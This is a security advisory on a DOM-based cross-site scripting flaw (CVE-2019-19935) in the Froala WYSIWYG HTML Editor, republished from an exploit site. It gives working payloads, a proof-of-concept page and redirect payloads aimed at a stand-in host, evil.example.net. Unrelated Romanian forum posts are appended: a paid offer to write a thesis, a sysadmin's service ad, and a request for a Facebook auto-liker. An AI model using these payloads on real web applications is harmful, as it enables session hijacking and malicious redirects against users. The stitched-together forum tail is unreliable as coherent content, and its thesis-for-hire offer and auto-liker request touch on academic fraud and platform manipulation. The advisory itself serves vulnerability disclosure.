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############################################################# # # Product: Froala WYSIWYG HTML Editor # Vendor: Froala # CSNC ID: CSNC-2020-004 # CVE ID: CVE-2019-19935 # Subject: DOM XSS in Froala WYSIWYG HTML Editor # Severity: Medium # Effect: Remotely exploitable # Author: Emanuel Duss <emanuel.duss@compass-security.com> # Date: 2020-07-01 # ############################################################# Introduction ------------ Froala WYSIWYG HTML Editor is a lightweight WYSIWYG HTML Editor written in JavaScript that enables rich text editing capabilities for web applications [1]. Froala sanitizes the user input in order to prevent cross-site scripting attacks [2]. During a web application penetration test, Compass found a DOM-based cross-site scripting (XSS) [3] in the Froala WYSIWYG HTML Editor. HTML code in the editor is not correctly sanitized when inserted into the DOM. This allows an attacker that can control the editor content to execute arbitrary JavaScript in the context of the victim's session. Affected -------- * All versions of the Froala WYSIWYG HTML Editor The issue was found in December 2019 in version 3.0.6 and was still not fixed in July 2020 in version 3.1.1. Technical Summary ----------------- It's possible to perform DOM based XSS in the Froala editor by inserting the `<iframe>` tag and the `srcdoc` attribute into the editor: <iframe srcdoc="<img src=x onerror=alert(document.domain)>"></iframe> This can be verified by inserting the payload into the "Code View" of the editor. In this case, this is would be a self-XSS because the users would only attack themselves. However, it could be possible that untrusted data from a non-controlled source is loaded into the editor in order to exploit it. An example could be a web application where multiple users can edit the same content using this editor. An attacker can use this to execute own JavaScript code in the session of the victim. This can be abused to read the content of the victim's account, use the session to make further requests to the web application or read the cookies or web storage. Technical Details ----------------- # Correct Behavior According to the Froala tech support page "Why is the <script> tag being removed?", the `<script>` tag is removed in order to prevent possible XSS attacks [2]. Other XSS payloads that use other HTML tags and event handlers are also removed from the DOM before they are inserted. This can be verified using a PoC hosted on `poc.example.net` that inserts potentially untrusted data with a `<script>` tag into the editor: <link href="https://cdnjs.cloudflare.com/ajax/libs/froala-editor/3.0.6/css/froala_style.min.css" rel="stylesheet" type="text/css" /> <link href="https://cdnjs.cloudflare.com/ajax/libs/froala-editor/3.0.6/css/froala_editor.pkgd.min.css" rel="stylesheet" type="text/css" /> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/froala-editor/3.0.6/js/froala_editor.pkgd.min.js"></script> <div id="froala-editor"></div> <script> let editor = new FroalaEditor('div#froala-editor', {}, function() { // This data could be loaded from a potentially untrusted source, e.g. from an API via an XMLHttpRequest data = "<s>Hello<\/s><script>console.log(document.domain)<\/script><u>Compass<\/u>"; // Inserting untrusted data into the editor editor.html.set(data); // Show how the untrusted data is embedded into the DOM console.log(editor.html.get()); }) </script> The JavaScript console shows that legit HTML tags like `<s>` or `<u>` were inserted into the DOM but the `<script>` tag was correctly removed (as expected) and therefore the JavaScript was not executed: <p><s>Hello</s><u>Compass</u></p> The same can be done by inserting an `<img>` tag with an `onerror` event handler as an XSS vector: [...] data = "<s>Hello<\/s><img src=x onerror=console.log(document.domain)><u>Compass<\/u>"; [...] The JavaScript console again shows that the legit HTML tags were inserted and also the `<img>` tag, but without the used `onerror` event handler. Therefore, the JavaScript was not executed: <p><s>Hello</s><img src="x" class="fr-fic fr-dii"><u>Compass</u></p> This shows that it's not possible to load and execute common XSS payloads into the editor. # XSS Bypass I tried every event handler from the awesome PortSwigger XSS cheat sheet [4], but all of them were blocked. Thanks to the XSS cheat sheet, I found an HTML tag with an attribute that does not start with `on`, which can execute JavaScript in the origin of the website. This tag was not filtered. It's the `<iframe>` tag with the `srcdoc` attribute. The `srcdoc` attribute specifies the HTML content of the page to show in the inline frame [5]. This can be used to embed JavaScript code. The code runs in the origin of the website where the iframe is embedded. Working XSS payload: [...] data = "<s>Hello<\/s><iframe srcdoc=\"<img src=x onerror=console.log(document.domain)>\"><\/iframe><u>Compass<\/u>"; [...] The JavaScript console shows that the `<iframe>` tag with the `srcdoc` attribute was inserted into the DOM without sanitizing. Also the content of the iframe with the `<img>` tag and the `onerror` event handler was not sanitized. Further, the origin on which PoC website is hosted is printed: <p><s>Hello</s><iframe srcdoc="<img src=x onerror=alert(document.domain)>"></iframe><u>Compass</u></p> poc.example.net Therefore, this shows that the following XSS payload can be used in order to inject and execute JavaScript into the DOM, which results in a DOM-based XSS: <iframe srcdoc="<img src=x onerror=console.log(document.domain)>"></iframe> Note: The `<img>` tag with the `onerror` event handler is only the data content of the `srcdoc` attribute and no code for the browser. This is rendered into code later when the content of the iframe is built. The injected JavaScript code runs in the origin of the website where the Froala editor is running. The next section explains why I mention this explicitly. XSS with Undefined / Empty Origin --------------------------------- There are several issues marked as open and fixed in the Froala GitHub repository regarding XSS [6]. The closed ones are also not fixed at the moment. However, most of these XSS are running in another origin as the website where the editor is loaded. # Example 1 For example, the issue #3270 [7] that is marked as closed and uses an embedded object (`<embed>` tag) in order to execute JavaScript: [...] data = "<EMBED/SRC=\"\">" [....] The base64 decoded payload is an SVG image containing JavaScript: <svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" x="0" y="0" width="194" height="200" id="xss"> <script type="text/ecmascript">console.log(document.domain)</script></svg> The JavaScript console shows that the code is executed but the origin is `undefined`: <p><embed src=""></p> undefined # Example 2 Another example is the issue #3039 [8] that is marked as closed uses the `<object>` tag to embed HTML / JavaScript code: [...] data = "<object data='data:text/html,<svg onload=console.log(document.domain)>'>"; [...] The JavaScript console shows that the code is executed but the origin is empty: <p><object data="data:text/html,<svg onload=console.log(document.domain)>"></object></p> // empty line # Exploiting XSS with Undefined / Empty Origins Because the origin is not the same as where the PoC is hosted, it's not a typical XSS where an attacker could read the content of the victim's website, use the session to make further requests or access the cookies or web storage. It is however still possible to perform arbitrary redirects to other websites using the reference to the `window.top.location`: [...] data = "<object data='data:text/html,<svg onload=window.top.location=\"http://evil.example.net/\">'>"; [...] This redirects to http://evil.example.net/. The same applies for the embed tag: [...] data = "<EMBED/SRC=\"\">" [...] Decoded base64 payload: <svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" x="0" y="0" width="194" height="200" id="xss"> <script>window.top.location="http://evil.example.net/"</script> </svg> This also redirects to http://evil.example.net/. This is not as nice and powerful as the "real" XSS attack from the beginning, but still something ;-). Vulnerability Classification ---------------------------- CVSS v3.1 Metrics [9]: * CVSS Base Score: 6.1 * CVSS Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Remediation ----------- This XSS issue is not fixed. The vendor can't tell any exact release date for a fixed version. Therefore, only trusted data or data that is already sanitized should be loaded into the editor. # 0day.today [2020-07-05] # Source

Hmm .. ai putea sa te bazezi pe baze de date offline cu vulnerabilitati si sa faci licenta in asa fel incat sa prezinti exemple particulare de softuri ce pot fi testate cu asa ceva. Imposibil insa sa nu ai o marja de eroare la acel calcul pe care va trebui sa o mentionezi ba chiar sa o detaliezi. Ti-l fac eu dar incepem sa vorbim de la 4000 LEI in sus cu avans. Daca esti ok cu asta da-mi mesaj.

Administrez servere linux (orice distributie) cat si FreeBSD. Experienta in domeniu: ~22 de ani In mare, din cunostintele ce le am si ce servicii pot oferi: - Politici de securitate atat pe FreeBSD cat si pe linux - Solutii antispam si solutii de securitate pentru servere de email - Orice arhitectura de server(e) web (content delivery & caching, dual strat, clusters) - MySQL, PostgreSQL, PHP - Tehnici avansate de mitigare atacuri DDoS. - Sisteme de detectie si prevenire a intruziunilor - Audit de securitate si pregatire in vederea certificarii ISO 27001 (+ analiza riscuri) Instalez, configurez si optimizez orice fel de daemon sau aplicatie open source. De asemenea, ofer consultanta pentru necesitati hardware. Ofer factura pentru toate serviciile oferite. Pentru cotatii de pret, trimite un email te rog la tex at unixteacher dot org (sau un mesaj privat)

Stie cineva un auto liker bun pentru facebook? Fara arabi si prostii d-astea. As aprecia un raspuns serios.👍🏻